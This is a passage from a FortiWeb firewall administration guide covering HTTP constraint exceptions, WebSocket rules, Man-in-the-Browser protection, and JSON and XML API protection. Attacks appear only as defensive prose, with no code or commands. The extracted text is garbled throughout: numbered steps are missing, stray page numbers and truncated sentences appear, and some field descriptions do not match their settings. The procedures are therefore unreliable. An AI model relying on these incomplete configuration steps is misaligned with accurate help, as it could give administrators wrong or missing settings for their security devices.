process the URL by the specified rule. The same URL will not be processed again
even if it can hit other rules.
For example, there is a rule with Duplicated Parameter Name enabled for URL
path "/example/*", and another rule ranking lower in the table with Malformed
Request enabled for "/example/abc", then FortiWeb will execute Duplicated
Parameter Name rule and skip the Malformed Request rule. Because
"/example/abc" is included in "/example/*", it is processed when FortiWeb executes
the Duplicated Parameter Name rule.

To configure an HTTP constraint exception
To access this part of the web UI, your administrator’s account access profile must have Read and Write permission to
items in the Web Protection Configuration category. For details, see Permissions on page 56.
1. Go to Web Protection > Protocol and select the HTTP Constraints Exceptions tab.
63 characters.
4. Click OK.
6. Configure the exception rule according to the table below:
Host Status Enable to apply this HTTP constraint exception only to HTTP
requests for specific web hosts. Also configure Host on page 541.
Disable to apply the exceptions to all web hosts.
Host Select the IP address or fully qualified domain name (FQDN) of

the protected host to which this exception applies.
This setting is available only if Host Status on page 541 is
enabled.
Source IP Enable to check requests for matching the HTTP constraint

exceptions rule by their source IP addresses.
IPv4/IPv6/IP Range Specify the source IP of the protected requests to which this
exception applies. Only a single IPv4 or IPv6 address, or a
IPv4/IPv6 range is acceptable.
This setting is available only if Host Status on page 541 is
enabled.
Request Type Select whether the URL Pattern on page 541 field will contain a
literal URL (Simple String), or a regular expression designed to
match multiple URLs (Regular Expression).
URL Pattern Depending on your selection in the Request Type field, enter
either:
l the literal URL, such as /index.php, that the HTTP
request must contain in order to match the input rule. The
l a regular expression, such as ^/*.php, matching all and
only the URLs to which the input rule should apply. The
pattern does not require a slash ( / ); however, it must at
match URLs that begin with a slash, such as /index.cfm.
which is configured separately in the Host drop-down list.
This opens the Regular Expression Validator window where
you can fine-tune the expression. For details, see Regular
expression syntax on page 880.
7. Select the protocol constraint(s) that you want to add to the exception rule according to the table below:

Content Length
Content Length Enable to omit the constraint on the

maximum acceptable size in bytes of the
request body.
Illegal Content Length Enable to omit the constraint on whether the

Content-Length: header includes
numeric characters only.
HTTP Header
Header Length Enable to omit the constraint on the

HTTP header.
Header Name Length Enable to omit the constraint on the

maximum acceptable size in bytes of a single
HTTP header name.
Header Value Length Enable to omit the constraint on the

maximum acceptable size in bytes of a single
HTTP header value.
Illegal Character in Header Name Enable to omit the constraint on whether the
HTTP header name contains illegal
characters.
Illegal Character in Header Value Enable to omit the constraint on whether the
HTTP header value contains illegal
characters.
Redundant HTTP Headers Enable to omit the constraint on the

redundant instances of Content-Length,
Content-Type and Host herder fields.
HTTP Parameter
Total URL Parameter Length Enable to omit the constraint on the

maximum acceptable size of an URL
parameter (including the name and value).
Total Body Parameters Length Enable to omit the constraint on the

maximum acceptable size in bytes of all
parameters in the HTTP body of HTTP POST
requests.
Number of URL Parameters Enable to omit the constraint on the

maximum number of parameters in the URL.
NULL Character in Parameter Name Enable to omit the constraint on null

characters in parameter names.
NULL Character in Parameter Value Enable to omit the constraint on null

characters in parameter values.
Maximum URL Parameter Name Length Enable to omit the constraint on the

maximum acceptable length in bytes of the

parameter name.
Maximum URL Parameter Value Length Enable to omit the constraint on the
parameter value.
Illegal Character in Parameter Name Enable to omit the constraint on illegal

characters in the parameter name.
Illegal Character in Parameter Value Enable to omit the constraint on illegal

characters in the parameter value.
Duplicated Parameter Name Enable to omit the constraint on duplicate

parameter names.
HTTP Request
Illegal HTTP Request Method Enable to omit the constraint on to check for
invalid HTTP version numbers.
HTTP Request Filename Length Enable to omit the constraint on the

HTTP request filename.
HTTP Request Length Enable to omit the constraint on the

HTTP request.
Number of Header Lines In Request Enable to omit the constraint on the

maximum acceptable number of lines in the
HTTP header.
Post Request -- Missing Content Type Enable to omit the constraint on whether the
Content-Type: header is available.
NULL Character in URL Enable to omit the constraint on null
characters in URL.
Illegal Character in URL Enable to omit the constraint on illegal

characters in URL.
Odd and Even Space Attack Enable to omit the constraint on detecting
Odd and Even Space Attack.
HTTP/2 Max Requests Enable to omit the constraint on the

maximum acceptable number of requests in
an HTTP/2 connection.
Others
Illegal Content Type Enable to omit the constraint on whether the

Content Type: value uses the format
<type>/<subtype>.
Illegal Host Name Enable to omit the constraint on invalid

characters in the Host: line of the HTTP

header, such as null characters or encoded

characters.
Body Length Enable to omit the constraint on the

HTTP body.
Number of Cookies In Request Enable to omit the constraint on the

maximum acceptable number of cookies in
an HTTP request.
Number of Ranges in Range Header Enable to omit the constraint on the

maximum acceptable number of Range:
lines in an HTTP header.
Note: Some versions of Apache are
vulnerable to a denial of service (DoS) attack
on this header, where a malicious client
floods the server with many Range:
headers. If your web servers do not run
Apache and are not vulnerable to this attack,
mark this check box to omit it from the scan
and improve performance.
Malformed Request Enable to omit the constraint on syntax and

FortiWeb parsing errors.
Caution: Some web applications require
abnormal or very large HTTP POST requests.
Since allowing such errors and excesses is
generally bad practice and can lead to
vulnerabilities, use this option to omit the
malformed request scan only if absolutely
necessary.
RPC Protocol Enable to omit detecting traffic that uses the

PRC protocol.
WebSocket Protocol Enable to omit detecting traffic that uses the

WebSocket TCP-based protocol.
8. Click OK.
9. Repeat the previous steps for each exception rule you want to add to the exception.
10. Select the HTTP protocol constraint exception(s) in an HTTP protocol constraint profile. For details, see To
configure an HTTP protocol constraint profile on page 532.
See also


WebSocket protocol
WebSocket Protocol is a TCP-based network protocol, which enables full-duplex communication between a web
browser and a server.
FortiWeb now secures WebSocket traffic with a variety of security controls such as allowed formats, frame and message
size and signature detection.
Creating WebSocket security rules
This section provides instructions to:

l Create a WebSocket security rule
l Add a WebSocket security rule to a WebSocket security policy
To create a WebSocket security rule
1. Go to Web Protection > Protocol > WebSocket > WebSocket Security Rule.
name will be used when selecting the WebSocket security policy.
Host Status Enable to compare the WebSocket security rule to the Host: field in the
HTTP header. Also configure Host.
Host Select the IP address or fully qualified domain name (FQDN) of the protected
host to which this rule applies. For details, see Defining your
This setting is available only if Host Status is enabled.
URL Type Select whether the URL fields must contain either:

l Simple String—The field is a string that the request URL must match
exactly.
l Regular Expression—The field is a regular expression that defines a
set of matching URLs.
URL The URL which hosts the web page containing the user input fields you want
to protect.
Depending on your selection in URL type, enter either:
l Simple String—The literal URL, such as /folder1/index.htm that
the HTTP request must contain in order to match the rule, or use
/folder1/*/index.htm. The URL must begin with a slash ( / ).
matching the URLs to which the rule should apply. The pattern does not
require a slash ( / ), but it must match URLs that begin with a slash, such

as /index.cfm.
configured separately in Host on page 545.
To test a regular expression, click the >> (test) icon. This icon opens the
Regular Expression Validator window from which you can fine-tune the
Block WebSocket Traffic Enable to deny the WebSocket traffic, and FortiWeb will not check any
WebSocket related traffic. This option is disabled by default.
The following fields can be configured only when this option is
enabled.
Action Select which action FortiWeb will take when it detects a violation of the
WebSocket security policy:
message.
Allowed Formats When the WebSocket connection is established , data is transmitted in the
form of frame. Select the allowed frame formats that are acceptable matches.
By default, both Plain Text and Binary are checked.
Max Frame Size Specify the maximum acceptable frame header and body size in bytes. The
valid range is 0–2147483647 bytes.
Max Message Size Specify the maximum acceptable message header and body size in bytes.
The valid range is 0–2147483647 bytes.
Block Extensions Enable to not check the extension header in WebSocket handshake packet.
By default, this option is disabled.
When enabled, if the Action is Alert, FortiWeb will remove the extension field
in the packet. While, if the Action is Deny (no log), the WebSocket protocol
negotiation fails, ans the traffic can not be established.
Enable Attack Signatures Enable to detect attack in WebSocket message body. But if WebSocket traffic
has extension header and allow extension header in WebSocket security rule,
FortiWeb does not promise to detect attack signatures. This field is disabled
by default.
Note: To make this take effect, when you select the WebSocket Security
policy in Policy > Web Protection Profile > Protocol, do select the
signature in Known Attacks > Signatures. When attack signature is
detected, the actions FortiWeb will take follow those of related signatures.
4. Click OK.
5. In Allowed Origin List, click Create New.
6. Enter the allowed origin. For example, 121.40.165.18:8800. Only traffic from the allowed origin can be
accepted.
7. Click OK.
If you do not configure the allowed origin, FortiWeb will not check the allowed origin fields.

To add a WebSocket security rule to a WebSocket security policy
For details about creating a WebSocket security policy, see Creating WebSocket security policies
1. Go to Web Protection > Protocol > WebSocket > WebSocket Security Policy.
2. Select the existing WebSocket security policy to which you want to add the WebSocket security rule.
3. Click Edit.
5. For WebSocket Security Rule, select the WebSocket security rule that you want to include in the WebSocket
security policy.
To view details about a selected WebSocket security rule, click next to the
drop down list.
6. Click OK.
7. Repeat Steps 4-6 for as many WebSocket security rules as you want to add to the WebSocket security policy.
Creating WebSocket security policies

l Create a WebSocket security policy
l Apply a WebSocket security policy in a web protection profile
To create a WebSocket security policy
1. Go to Web Protection > Protocol > WebSocket > WebSocket Security Policy.
3. For Name, enter a name for the policy. You will use the Name to select the policy in a web protection profile.
4. Click OK.
5. To add WebSocket security rules to the policy, see To add a WebSocket security rule to a WebSocket security
policy.
To add a WebSocket security policy in a web protection profile
For details about creating a web protection profile, see Configuring a protection profile for inline topologies.
2. Select an existing web protection profile to which you want to include the WebSocket security policy.
3. Click Edit.
4. Go to Security Configuration > Web Protection Profile.
5. Click to enter the Edit Inline Protection Profile page.
6. For Protocol > WebSocket Security, select the WebSocket security policy from the drop down list.
You can also click to open the Edit WebSocket Security Policy page.

7. Click OK.

Protection for Man-in-the-Browser (MiTB) attacks
The Man-in-the-Browser (MiTB) attack uses Trojan Horse to intercept and manipulate calls between the browser and its
security mechanisms or libraries on-the-fly. The Trojan Horse sniffs or modifies transactions as they are formed on the
browser, but still displays back the user's intended transaction. The most common objective of this attack is to cause
financial fraud by manipulating transactions of Internet Banking systems, even when other authentication factors are in
use.
To protect the user inputs from being attacked by MiTB, FortiWeb implements security rules including obfuscation,
encryption, anti-keylogger, and Ajax request white list.
Obfuscation
To prevent the MiTB attack from identifying the names of the user input field , FortiWeb obfuscates it into meaningless
character strings based on Base64 encoding rule.
For example, for the account name, passwords, and other sensitive user input fields on a transaction page, the
obfuscation rule is used to disguise the real values of the input field names.
As shown in the following screenshot, the name of the input field "card 1" is displayed as is in the source code of a
transaction page.
After the obfuscation rule is applied to the field name "card 1", the real value is disguised as follows. If the Trojan Horse
used by the MiTB attack scans this page for user sensitive data, it won't notice this field because the disguised value is
meaningless to it.
See the following topics on how to apply obfuscation to protect the names of the user input fields:
l Protecting the standard user input field
l Protecting the passwords
Encryption
To protect the password that users enter into the web page, FortiWeb encrypts the password from a readable form to an
encoded version based on Base64 encoding rule. The encrypted password can only be decoded by FortiWeb.
The following screenshot shows the password (the "secretkey" parameter) without being encrypted.

If the encryption rule is applied to the "secretkey" parameter, its real value will be encrypted, as shown in the following
screenshot:
In this case, even if the MiTB attack extracts user data from this package, the secretkey parameter will be useless to the
MiTB attack because the real value is encrypted.
See the following topic on how to apply encryption to protect the password input field:
Anti-Keylogger
Sometimes the MiTB attack installs a key logger on users' browsers and records each key pressed. Sensitive data such
as passwords can be intercepted and recorded, compromising the user account.
If the Anti-Keylogger rule is enabled for the password parameter, FortiWeb prevents it from being recorded even if there
is a key logger installed on user's browser.
See the following topic on how to apply anti-keylogger to protect the value of the password input field:
AJAX Request White list
The MiTB attack may use a malicious AJAX worm to hack into the user's browser. It creates an AJAX based sniffer to
override the OPEN and SEND function of the AJAX request, and then send the data to a program on a different domain.
FortiWeb supports configuring a white list for AJAX requests. If the user's browser sends AJAX requests to an external
domain which is not in the white list, FortiWeb will take action (alert, or alert & deny) according to your configuration.
The following screenshot shows the alert message displayed by FortiWeb when it detects an AJAX request to an
external domain not in the white list.

See the following topic on how to add white list for the AJAX request:
l Adding white list for the AJAX Request
Creating Man in the Browser (MiTB) Protection Rule
To apply the above mentioned security rules, you need to set up the MiTB rules first, then combine the rules together
into an MiTB policy.
l Create an MiTB protection rule
l Protect the standard user input field
l Protect the passwords
l Add white list for the AJAX Request
FortiWeb requires the protected web pages not compressed, because it will insert
JavaScript codes in the response body when obfuscation, encryption or anti-keyloger
is enabled, and analyze the request body to detect unallowed Ajax requests. If the
web pages you want to protect are compressed, it's required to configure a
decompression policy. See Configuring temporary decompression for scanning &
rewriting.
Creating an MiTB protection rule
To create an MiTB protection rule:

1. Go to Web Protection > Advanced Protection > Man in the Browser Protection.
2. To access this part of the web UI, your administrator's account access profile must have Read and Write
3. Select the Man in the Browser Protection Rule tab, then click Create New.

configuration. You will use the name to select the rule in an Man in
the Browser Protection policy. The maximum length is 63 characters.

Host status Enable to compare the MiTB rule to the Host: field in the
HTTP header. If enabled, also configure Host on page 552.
Host Select the IP address or FQDN of a protected host. For details, see
Defining your protected/allowed HTTP “Host:” header names on page
160.
URL type Select whether the Request URL and POST URL fields must
contain either:
match exactly.
Request URL The URL which hosts the web page containing the user input fields
you want to protect.
Depending on your selection in URL type , enter either:
l Simple String—The literal URL, such as
/folder1/index.htm that the HTTP request must contain in
order to match the rule, or use wildcards to match multiple URLs,
such as /folder1/* or /folder1/*/index.htm. The URL
must begin with a slash ( / ).
POST URL When the user inputs (e.g. password) are posted to the web server, a
new URL will open. This is the POST URL.
The format of the POST URL field is similar to that of the Request
URL field. It supports both Simple String and Regular
Expression.
Note: The AJAX request rule only checks the Request URL, and it
doesn't involve POST URLs, so the POST URL of the AJAX request
rule should be set as "*" to match any URLs.
the rule. This options is only required if you are setting a rule for the
AJAX request.
log message.
generate an alert and /or log message.

802.
Caution: This setting will be ignored if Monitor Mode on page 251 is
enabled.
that FortiWeb will record when the rule is violated. This options is only
required if you are setting a rule for the AJAX request.
l Informative
l Low
l Medium
l High
log messages on page 718. This options is only required if you are
setting a rule for the AJAX request.
5. Click OK.
Protecting the standard user input field
For the standard (non-password) user input field such as the user name, FortiWeb obfuscates the name of the input
field into a meaningless character string.
FortiWeb only obfuscates the name of the standard input field. The value of the
standard input field can't be obfuscated, encrypted, or Anti-keylogged.
As shown in the following screenshot, for the input field which is in the "text" input type (non-password type), FortiWeb
obfuscates the name of this input field. The value of the user input is kept as is.
The MiTB attack won't take this user input field as its target because the obfuscated name is meaningless to it.
To add the standard user input fields in the MiTB rule:

1. Go to Web Protection > Advanced Protection > Man in the Browser Protection, select the Man in the
Browser Protection Rule tab, select the MiTB rule you want to edit, then click Edit. See this topic to add the
MiTB rule if you have not yet added one.
2. In the Protected Parameter Table section at the middle of the page, click Create New.

3. Enter the name of the user input filed. It should be exactly the same with the name of user input field in the source
code of the web page.
4. Select Standard Input for the Type.

5. Enable Obfuscate.
6. Click OK.
For example, if you want to protect the user input field named as "Card 1", the configuration looks like the following:
Related Topics:
l Obfuscation
l Encryption
l Anti-Keylogger
Protecting the passwords
For the user input field which is in the "password" type, FortiWeb can obfuscate the name of the password input field,
and use encryption and anti-keylogger to protect the value of the password input field.
To add the password input fields in the MiTB rule:
2. In the Protected Parameter Table section at the middle of the page, click Create New.
3. Enter the name of the password input filed. It should be exactly the same with the name of password input field in
the source code of the web page.
4. Select Password Input for the Type.
5. Enable Obfuscate, Encrypt, and Anti-Keylogger according to your own needs.
6. Click OK.

Related Topics:
l Obfuscation
l Encryption
l Anti-Keylogger
Adding white list for the AJAX Request
To add the white list for the AJAX Request:

It's recommended to put the user input fields and the AJAX requests into
different rules, because the POST URL for them is usually not the same.
The AJAX request rule only checks the Request URL, and it doesn't involve
POST URLs, so the POST URL of the AJAX request rule should be set as "/*" to
match any URLs.
2. In the Allowed External Domains for AJAX Request section at the bottom part of the page, click Create New.
3. Enter the address of the external domain. If the user's browser sends AJAX request to an external domain which is
not in the domain list you have entered, FortiWeb will take actions (alert, or alert & deny) according to your
configuration in the MiTB rule.
4. Click OK.
Related Topic:
l AJAX Request White list
Creating Man in the Browser (MiTB) Protection Policy
You can combine multiple MiTB rules into one MiTB policy, so that they can take effect as a whole when the MiTB policy
is used in a Web Protection Profile.
To create an MiTB policy and add MiTB rules in it:
Browser Protection Policy tab, then click Create New.
2. Enter a name for the policy.
3. Click OK.
5. In the New Man in the Browser Rule pane, select the MiTB rule you want to add in this policy.
6. Click OK.
7. Repeat Step 4 to 6 if you want to add more rules in the policy.

Protection for APIs
FortiWeb secures your API interfaces, whether they are implemented using XML, JSON API, or RESTful API. FortiWeb
parses the contents of each call and apply WAF policy validation to protect you from malicious traffic.
Configuring JSON protection
JSON is a lightweight data-interchange format, and attackers may try to exploit sensitive information in JSON code to
attack web servers. You can configure FortiWeb to validate JSON data contents in a JSON document. Configuring
JSON protection can help to ensure that the content of requests containing JSON does not contain any potential
attacks.
This section consists of instructions for the following steps:
l Importing JSON schema files. For details, see Importing JSON schema files on page 556.
l Creating JSON protection rules. For details, see Creating JSON protection rules on page 557.
l Creating JSON protection policies. For details, see Creating JSON protection policy on page 560.
l Selecting a JSON protection policy in a web protection profile. For details, see To select a JSON protection policy in
a web protection profile on page 561.
Importing JSON schema files
JSON schema files define JSON data structure and validate JSON data contents in a JSON document. When you use
JSON schema files to check JSON contents in HTTP requests, FortiWeb can determine acceptable content and validate
that the content is well-formed.
To configure FortiWeb to enforce JSON schema files, create a JSON protection rule and select a JSON schema file for
that rule. You can select only one JSON schema file for each JSON protection rule, but you can configure FortiWeb to
enforce multiple rules in JSON protection policies.
l Import a JSON schema file
l Select a JSON schema file in a JSON protection rule
To import a JSON schema file
1. Go to API Protection > JSON Protection.

2. Select the JSON Schema tab.
4. Enter a name for the JSON schema file.
5. For Upload File, click Choose File.
6. Select an acceptable JSON schema file.
7. Click OK.

To select a JSON schema file in a JSON protection rule
For details about creating a JSON protection rule, see Creating JSON protection rules on page 557.
1. Go to API Protection > JSON Protection.
2. Select the JSON Protection Rule tab.
3. Select an existing JSON protection rule to which you want to add the JSON schema file.
4. For Schema Validation, select the JSON schema file from the drop down menu.
5. Click OK.
Creating JSON protection rules
JSON protection rules define and enforce acceptable JSON content, including:
l Limits for data size, key, and value, etc.
l Preventing forbidden JSON from making requests
FortiWeb responds to rule violations of JSON protection rules according to the response action specified in a rule that a
request has violated. Multiple JSON protection rules can be organized into policies that FortiWeb enforces. You can
create up to 256 rules per policy.
l Create a JSON protection rule
l Add a JSON protection rule to a JSON protection policy
To create a JSON protection rule
1. Go to JSON > JSON Protection Rule.


configuration. You will use the name to select the rule in a JSON
protection policy. The maximum length is 63 characters.
Host status Enable to compare the JSON rule to the Host: field in the
160.
Request URL type Select whether the Request URL on page 558 field must contain
either:
match exactly.

Request URL Depending on your selection in Request URL type on page 557, enter

either:
l Simple String—Enter a literal URL, such as
which is configured separately in Creating JSON protection rules on
page 557.
JSON Limits Enable to define limits for data size, key, and value, etc.
Total Size of JSON Enter the total size of JSON data in the JSON file. The valid range is
Data 0–10240. The default value is 1024.
Key Size Enter the key size of each object. The valid range is 0–10240. The
default value is 64.
Total Key Number Enter the total key number of each JSON file. The valid range is 0–
2147483647. The default value is 256.
Value Size Enter the value size of each key. The valid range is 0–10240. The
Total Value Number Enter the total value number of each JSON file. The valid range is 0–
Value Number in an Enter the total value number in an array. The valid range is 0–
Array 2147483647. The default value is 256.
Object Depth Enter the number of the nested objects. The valid range is 0–
Schema Validation Optionally, select a JSON schema file. For details, see Importing
JSON schema files on page 556.
the rule:
log message.


668.
668.
Reason on page 228.
message.
802.
to Period Block.
that FortiWeb will record when the rule is vioated:
l Low
l Medium
l High
l Informative
4. Click OK.

To add a JSON protection rule to a JSON protection policy
For details about creating a JSON protection policy, see Creating JSON protection policy on page 560.
1. Go to JSON Protection > JSON Protection Policy.
2. Select the existing JSON protection policy to which you want to add the JSON protection rule.
3. Click Edit.
5. For Rule, select the JSON protection rule that you want to include in the JSON protection policy.
Note: To view details about a selected JSON protection rule, click the view icon next to the drop down list.
6. Click OK.
7. Repeat Steps 4-6 for as many JSON protection rules as you want to add to the JSON protection policy.
Creating JSON protection policy
You can configure a JSON protection policy so that FortiWeb will:

l Enforce customizable rules for acceptable JSON contents in HTTP requests, including limits for names, values,
depth, and other attributes
l Prevent forbidden JSON entities from making requests
Each policy can contain up to 256 JSON protection rules.
Optionally, policies can also include JSON schema files to describe the acceptable structure of a JSON document that
FortiWeb can use to enforce JSON protection policies.
JSON protection policies are enforced by selecting them in an active inline Web Protection Profile.
l Create a JSON protection policy
l Select a JSON protection policy in a web protection profile
The Content-Type of HTTP requests for JSON protection must be values

application/json or text/json.
To create a JSON protection policy
1. Go to JSON Protection > JSON Protection Policy.

3. For Name, enter a name for the policy. You will use the Name to select the policy in a web protection profile. The
4. The Signature Detection option is disabled by default. Enable to scan for matches with attack and data leak
signatures in JSON data submitted by clients in HTTP requests with Content-Type: values
application/json or text/json.
5. Click OK.
6. To add JSON protection rules to the policy, see To select a JSON protection policy in a web protection profile on
page 561.

To select a JSON protection policy in a web protection profile
For details about creating a web protection profile, see Configuring a protection profile for inline topologies on page
223.
3. Select an existing web protection profile to which you want to include the JSON protection policy.
4. Click Edit.
5. For API Protection > JSON Protection, select the JSON protection policy from the drop down list.
Note: To view details about a selected JSON protection policy, click the view icon next to the drop down list.
6. Click OK.
Configuring XML protection
XML is commonly used for data exchange, and hackers sometimes try to exploit security holes in XML code to attack
web servers. You can configure FortiWeb to examine client requests for anomalies in XML code. FortiWeb can also
attempt to validate the structure of XML code in client requests using trusted XML schema files. Configuring XML
protection can help to ensure that the content of requests containing XML does not contain any potential attacks.
XML protection is available in Reverse Proxy, True Transparent Proxy, and WCCP operating modes.
This section consists of instructions for the following steps:
l Importing XML schema files. For details, see Importing XML schema files on page 561.
l Creating XML protection rules. For details, see Creating XML protection rules on page 562.
l Creating XML protection policies. For details, see Creating XML protection policies on page 566.
l Creating WSDL files. For details, see Importing WSDL files on page 567
l Configuring exempted URLs. For details, see Configuring exempted URLs on page 568.
l Creating WS-Security rules. For details, see Creating WS-Security rules on page 570.
l Selecting an XML protection policy in a web protection profile. For details, see To select an XML protection policy in
a web protection profile on page 567.
l Configuring attack logs to retain packet payloads for XML protection. For details, see Configuring attack logs to
retain packet payloads for XML protection on page 569.
To configure XML protection, you must have Read and Write permission to items in the Web Protection
Configuration category. For details, see Permissions on page 56.
Importing XML schema files
XML schema files specify the acceptable structure of and elements in an XML document. When you use XML schema
files to check XML content in HTTP requests, FortiWeb can determine acceptable content and validate that the content
is well-formed.

To configure FortiWeb to enforce XML schema files, create an XML protection rule and select an XML schema file for
that rule. You can select only one XML schema file for each XML protection rule, but you can configure FortiWeb to
enforce multiple rules in XML protection policies.
l Import an XML schema file
l Select an XML schema file in an XML protection rule
The acceptable file extension for XML schema files is .xsd.
To import an XML schema file
1. Go to API Protection > XML Protection.

2. Select the XML Schema tab.
5. Select an acceptable XML schema file.
Note: If you upload an XML schema file that references other XML schema files, the other XML schema files must
also be uploaded to FortiWeb.
6. Click OK.
FortiWeb uses the XML schema file name to reference the file in other parts of
the configuration. For example, if you upload an XML schema file named
attr0_0.xsd, select that XML schema file in a protection rule with the name
attr0_0.xsd in the list of available XML schema files.
To select an XML schema file in an XML protection rule
For details about creating a XML protection rule, see Creating XML protection rules on page 562.
1. Go to API Protection > XML Protection.
2. Select the XML Protection Rule tab.
3. Select an existing XML protection rule to which you want to add the XML schema file.
4. For Schema Validation, select the XML schema file from the drop down menu.
5. Click OK.
Creating XML protection rules
XML protection rules define and enforce acceptable XML content, including:

l Limits for names, values, depth, and other attributes

l Preventing forbidden XML entities from making requests
FortiWeb responds to rule violations of XML protection rules according to the response action specified in a rule that a
request has violated. Multiple XML protection rules can be organized into policies that FortiWeb enforces. You can
create up to 256 rules per policy.
l Create an XML protection rule
l Add an XML protection rule to an XML protection policy
To create an XML protection rule
1. Go to XML Protection > XML Protection Rule.


configuration. You will use the name to select the rule in an
XML protection policy. The maximum length is 63 characters.
Host status Enable to compare the XML rule to the Host: field in the
160.
Request URL type Select whether the Request URL on page 563 field must contain
either:
match exactly.
Request URL Depending on your selection in Request URL type on page 563, enter

either:

Data Format Two data formats are available:

l XML
l SOAP
Schema Validation Optionally, select an XML schema file. For details, see Importing
XML schema files on page 561.
Available only when the Data Format is XML.
Note: If you upload an XML schema file that refers to other
XML schema files, the other XML schema files must also be uploaded
to FortiWeb.
WSDL Validation Select the WSDL file created in XML Protection > WSDL.
Available only when the Data Format on page 564 is SOAP.
Note: If you are to upload a WSDL file that refers to local
XML schema files, the XML schema files must be uploaded to
FortiWeb first.
WS-Security Select the WS-Security rule created in Creating WS-Security rules on

page 570.
You can also click to edit the WS-Security rule.
WS-I Basic Profile Check Click to check whether the SOAP messages adhere to the selected
WSI rules.
Attachments in SOAP Specify whether the SOAP message can carry attachments.
Messages Available only when the Data Format on page 564 is SOAP.
XML Limits Enable to define limits for attributes, CDATA, and elements.

Attribute Enter the maximum number of attributes for each element. The valid
range is 1–256. The default value is 32.
Attribute Name Enter the maximum attribute name length (in bytes) of each element.
Length The valid range is 1–1,024. The default value is 64.
Attribute Value Enter the maximum attribute value length (in bytes) of each element.
Length The valid range is 1–2,048. The default value is 1,024.
CDATA Length Enter the maximum Character Data (CDATA) length (in bytes) in
XML. The valid range is 1–4,096. The default value is 4,096.
Element Depth Enter the maximum element depth in XML. The valid range is 1–256.
The default value is 20.
Element Name Enter the maximum element name length (in bytes) in XML. The valid
Length range is 1–1,024. The default value is 64.

Forbidden XML Entities Enable to configure limits for the below XML entities.
External Entity Enable to trigger the Action on page 565 if an HTTP request contains
an external entity in XML.
Entity Expansion Enable to trigger the Action on page 565 if an HTTP request contains
an XML recursive entity expansion.
XInclude Enable to trigger the Action on page 565 if other XML contents are
included in XML.
Schema Location Enable to forbid using location field to perform malicious requests.
Exempted URL Select the exempted URL you have created in Configuring exempted
URLs on page 568to configure allowed location URLs.
Available only when Schema Location (page 1) is enabled.
the rule:
log message.
668.
668.
Reason on page 228.
message.
802.
Caution: This setting will be ignored if Monitor Mode on page 251 is
enabled.

to Period Block.
that FortiWeb will record when the rule is violated:
l Low
l Medium
l High
4. Click OK.
To add an XML protection rule to an XML protection policy
For details about creating an XML protection policy, see Creating XML protection policies on page 566.
1. Go to XML Protection > XML Protection Policy.
2. Select the existing XML protection policy to which you want to add the XML protection rule.
3. Click Edit.
5. For Rule, select the XML protection rule that you want to include in the XML protection policy.
Note: To view details about a selected XML protection rule, click the view icon next to the drop down list.
6. Click OK.
7. Repeat Steps 4-6 for as many XML protection rules as you want to add to the XML protection policy.
Creating XML protection policies
You can configure an XML protection policy so that FortiWeb will:

l Enforce customizable rules for acceptable XML content in HTTP requests, including limits for names, values,
depth, and other attributes
l Prevent forbidden XML entities from making requests
Each policy can contain up to 256 XML protection rules.

Optionally, policies can also include XML schema files to describe the acceptable structure of an XML document that
FortiWeb can use to enforce XML protection policies.
XML Protection Policies are enforced by selecting them in an active inline Web Protection Profile.
l Create an XML protection policy
l Select an XML protection policy in a web protection profile
To create an XML protection policy
1. Go to XML Protection > XML Protection Policy.

3. For Name, enter a name for the policy. You will use the Name to select the policy in a web protection profile. The
4. The Signature Detection option is disabled by default. Enable to scan for matches with attack and data leak
signatures in Web 2.0 (XML AJAX), SOAP, and other XML submitted by clients in the bodies of HTTP POST
requests.
5. Click OK.
6. To add XML protection rules to the policy, see To add an XML protection rule to an XML protection policy on page
566.
To select an XML protection policy in a web protection profile
For details about creating a web protection profile, see Configuring a protection profile for inline topologies on page
223.
3. Select an existing web protection profile to which you want to include the XML protection policy.
4. Click Edit.
5. For XML Protection, select the XML protection policy from the drop down list.
Note: To view details about a selected XML protection policy, click the view icon next to the drop down list.
6. Click OK.
Importing WSDL files
WSDL files are XML files that describe how to use SOAP to invoke web service. To configure FortiWeb to verify legality
of WSDL files and check the SOAP message against WSDL and SOAP protocol, create an XML protection rule and
select a WSDL file for that rule. You can select only one WSDL file for each XML protection rule, but you can configure
FortiWeb to enforce multiple rules in XML protection policies.
l Import a WSDL file
l Select a WSDL file in an XML protection rule

To import a WSDL file
1. Go to Web Protection > XML Protection.

2. Select the WSDL tab.
5. Select an acceptable WSDL file.
6. Click OK.
To select a WSDL file in an XML protection rule
For details about creating a XML protection rule, see Creating XML protection rules on page 562.
1. Go to Web Protection > XML Protection.
2. Select the XML Protection Rule tab.
3. Select an existing XML protection rule to which you want to add the WSDL file.
4. For WSDL Validation, select the WSDL file from the drop down menu.
5. Click OK.
Configuring exempted URLs
When you configure schema location to forbid using location field to perform malicious requests, you can configure to
exempt specific URLs from XML protection.
To create an exempted URLs list
1. Go to XML Protection > Exempted URLs.

3. For Name, enter a name for the exempted URL list. You will use the Name to select the list in XML protection rule.
4. Click OK.
URL type Select whether the URL on page 568 field must contain either:
l Simple String—The field is a string that the request URL must match
exactly.
URL Depending on your selection in URL type on page 568, enter either:

l Simple String—Enter a literal URL, such as /folder1/index.htm

that the HTTP request must contain in order to match the rule, or use
/folder1/*/index.htm. The URL must begin with a slash ( / ).
matching the URLs to which the rule should apply. The pattern does not
require a slash ( / ), but it must match URLs that begin with a slash, such
as /index.cfm.
7. Click OK.
Configuring attack logs to retain packet payloads for XML protection
You can configure FortiWeb to retain packet payload information about XML protection rule violations in attack logs.
Packet payloads provide part of the data that matches the regular expression specified in an XML protection rule that
FortiWeb enforces. This data could help you improve regular expressions in XML protection rules by preventing false
positives and analyzing attack behavior to harden security.
For details about retaining packet payload information, see Enabling log types, packet payload retention, & resource
shortage alerts on page 701.
To retain packet payload information in attack logs
1. Go to Log&Report > Log Config > Other Log Settings.

permission to items in the Log & Report category. For details, see Permissions on page 56.
2. Under Retain Packet Payload For, enable XML Protection.
3. Click Apply.
See also
l Viewing packet payloads on page 721
l Downloading log messages on page 722

570
Creating WS-Security rules
With WS-Security rules, you can do the following

l Encrypt and decrypt parts of SOAP messages
l Digitally sign parts of SOAP messages
l Verify parts of SOAP messages using digital signatures
This section provides instructions to how to create a WS-Security rule.
To create a WS-security rule
1. Go to XML Protection > WS-Security Rule.

Name Enter a name that can be referenced

by other parts of the configuration.
You will use the name to select the
rule in an XML protection rule.
Security in Request Direction Enable to configure FortiWeb to

decrypt, sign and verify the encryped
SOAP messages from the client.
Security Operation Select the operation that FortiWeb

performs for the encryped SOAP
messages from the client.
l Sign Verify & Decrypt—When
this operation is selected, also
configure XML Client Certificate
Group on page 572 and XML
Server Certificate on page 572.
